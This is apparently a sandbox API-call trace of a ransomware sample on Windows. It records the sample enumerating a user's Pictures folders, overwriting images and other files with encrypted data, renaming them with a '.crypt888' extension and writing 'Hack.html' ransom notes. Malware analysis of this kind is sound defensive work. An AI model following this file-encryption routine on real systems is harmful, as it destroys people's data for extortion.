[0083.596] ReadFile (in: hFile=0x174, lpBuffer=0x27cb6b8, nNumberOfBytesToRead=0xfaf4, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27cb6b8*, lpNumberOfBytesRead=0x39ed58*=0xfaf4, lpOverlapped=0x0) returned 1 [0083.597] CloseHandle (hObject=0x174) returned 1 [0083.660] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg", lpFilePart=0x0) returned 0x36 [0083.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0083.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gw4hqdwszda.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.662] GetFileType (hFile=0x174) returned 0x1 [0083.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0083.662] GetFileType (hFile=0x174) returned 0x1 [0083.662] WriteFile (in: hFile=0x174, lpBuffer=0x2847590*, nNumberOfBytesToWrite=0xfb00, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2847590*, lpNumberOfBytesWritten=0x39ed48*=0xfb00, lpOverlapped=0x0) returned 1 [0083.664] CloseHandle (hObject=0x174) returned 1 [0083.671] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg", lpFilePart=0x0) returned 0x36 [0083.671] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg.crypt888", lpFilePart=0x0) returned 0x3f [0083.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0083.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gw4hqdwszda.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd545c0, ftCreationTime.dwHighDateTime=0x1d46539, ftLastAccessTime.dwLowDateTime=0x1aa6bcc0, ftLastAccessTime.dwHighDateTime=0x1d45659, ftLastWriteTime.dwLowDateTime=0xc311d8e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xfb00)) returned 1 [0083.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0083.672] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gw4hqdwszda.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gw4hqdwszda.jpg.crypt888")) returned 1 [0083.673] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x30 [0083.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0083.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.673] GetFileType (hFile=0x174) returned 0x1 [0083.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0083.673] GetFileType (hFile=0x174) returned 0x1 [0083.673] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0083.673] ReadFile (in: hFile=0x174, lpBuffer=0x2857500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2857500*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0083.673] CloseHandle (hObject=0x174) returned 1 [0083.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x30 [0083.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0083.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.693] GetFileType (hFile=0x174) returned 0x1 [0083.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0083.693] GetFileType (hFile=0x174) returned 0x1 [0083.693] WriteFile (in: hFile=0x174, lpBuffer=0x28a5668*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x28a5668*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0083.694] CloseHandle (hObject=0x174) returned 1 [0083.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x30 [0083.695] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html.crypt888", lpFilePart=0x0) returned 0x39 [0083.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0083.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc242c140, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc242c140, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc3169ba0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0083.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0083.695] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hack.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hack.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hack.html.crypt888")) returned 1 [0083.696] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png", lpFilePart=0x0) returned 0x3c [0083.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0083.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sx 6phuezm5aj4scu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.696] GetFileType (hFile=0x174) returned 0x1 [0083.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0083.696] GetFileType (hFile=0x174) returned 0x1 [0083.696] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x7493 [0083.696] ReadFile (in: hFile=0x174, lpBuffer=0x28a6918, nNumberOfBytesToRead=0x7493, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28a6918*, lpNumberOfBytesRead=0x39ed58*=0x7493, lpOverlapped=0x0) returned 1 [0083.697] CloseHandle (hObject=0x174) returned 1 [0083.752] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png", lpFilePart=0x0) returned 0x3c [0083.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0083.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sx 6phuezm5aj4scu.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.754] GetFileType (hFile=0x174) returned 0x1 [0083.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0083.755] GetFileType (hFile=0x174) returned 0x1 [0083.755] WriteFile (in: hFile=0x174, lpBuffer=0x270e59c*, nNumberOfBytesToWrite=0x74a0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x270e59c*, lpNumberOfBytesWritten=0x39ed48*=0x74a0, lpOverlapped=0x0) returned 1 [0083.757] CloseHandle (hObject=0x174) returned 1 [0083.761] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png", lpFilePart=0x0) returned 0x3c [0083.761] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png.crypt888", lpFilePart=0x0) returned 0x45 [0083.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0083.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sx 6phuezm5aj4scu.png"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8dea130, ftCreationTime.dwHighDateTime=0x1d45a8f, ftLastAccessTime.dwLowDateTime=0x4db6c410, ftLastAccessTime.dwHighDateTime=0x1d46541, ftLastWriteTime.dwLowDateTime=0xc3202120, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x74a0)) returned 1 [0083.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0083.761] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sx 6phuezm5aj4scu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sX 6PhUEzm5aJ4sCU.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sx 6phuezm5aj4scu.png.crypt888")) returned 1 [0083.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.763] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4", lpFilePart=0x0) returned 0x31 [0083.763] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\", lpFilePart=0x0) returned 0x32 [0083.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a528 [0083.763] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.764] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.765] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.765] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0083.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.766] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4", lpFilePart=0x0) returned 0x31 [0083.766] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\", lpFilePart=0x0) returned 0x32 [0083.766] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a528 [0083.767] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.767] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.767] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.767] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.768] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.768] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.768] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.768] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.769] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0083.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.770] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg", lpFilePart=0x0) returned 0x3d [0083.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bcc2qg6fm4\\ad0a7cw.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.770] GetFileType (hFile=0x174) returned 0x1 [0083.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.770] GetFileType (hFile=0x174) returned 0x1 [0083.770] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x760a [0083.771] ReadFile (in: hFile=0x174, lpBuffer=0x2718780, nNumberOfBytesToRead=0x760a, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2718780*, lpNumberOfBytesRead=0x39ed24*=0x760a, lpOverlapped=0x0) returned 1 [0083.772] CloseHandle (hObject=0x174) returned 1 [0083.798] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg", lpFilePart=0x0) returned 0x3d [0083.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0083.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bcc2qg6fm4\\ad0a7cw.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.800] GetFileType (hFile=0x174) returned 0x1 [0083.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0083.800] GetFileType (hFile=0x174) returned 0x1 [0083.800] WriteFile (in: hFile=0x174, lpBuffer=0x278a4f4*, nNumberOfBytesToWrite=0x7610, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x278a4f4*, lpNumberOfBytesWritten=0x39ed14*=0x7610, lpOverlapped=0x0) returned 1 [0083.803] CloseHandle (hObject=0x174) returned 1 [0083.809] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg", lpFilePart=0x0) returned 0x3d [0083.809] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg.crypt888", lpFilePart=0x0) returned 0x46 [0083.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0083.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bcc2qg6fm4\\ad0a7cw.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3dd90, ftCreationTime.dwHighDateTime=0x1d45f40, ftLastAccessTime.dwLowDateTime=0x43bbc080, ftLastAccessTime.dwHighDateTime=0x1d45846, ftLastWriteTime.dwLowDateTime=0xc3274540, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7610)) returned 1 [0083.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0083.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bcc2qg6fm4\\ad0a7cw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\AD0A7Cw.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bcc2qg6fm4\\ad0a7cw.jpg.crypt888")) returned 1 [0083.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\Hack.html", lpFilePart=0x0) returned 0x3b [0083.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0083.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BCc2QG6fM4\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bcc2qg6fm4\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.811] GetFileType (hFile=0x174) returned 0x1 [0083.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0083.811] GetFileType (hFile=0x174) returned 0x1 [0083.811] WriteFile (in: hFile=0x174, lpBuffer=0x2793634*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2793634*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0083.813] CloseHandle (hObject=0x174) returned 1 [0083.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.813] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-", lpFilePart=0x0) returned 0x38 [0083.814] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\", lpFilePart=0x0) returned 0x39 [0083.814] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a2e8 [0083.814] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.814] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.814] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.815] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.815] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.815] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.815] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.815] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.815] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.816] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.816] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-", lpFilePart=0x0) returned 0x38 [0083.816] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\", lpFilePart=0x0) returned 0x39 [0083.816] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dYugjPLUBwD1sUfK-\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a2e8 [0083.817] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.817] 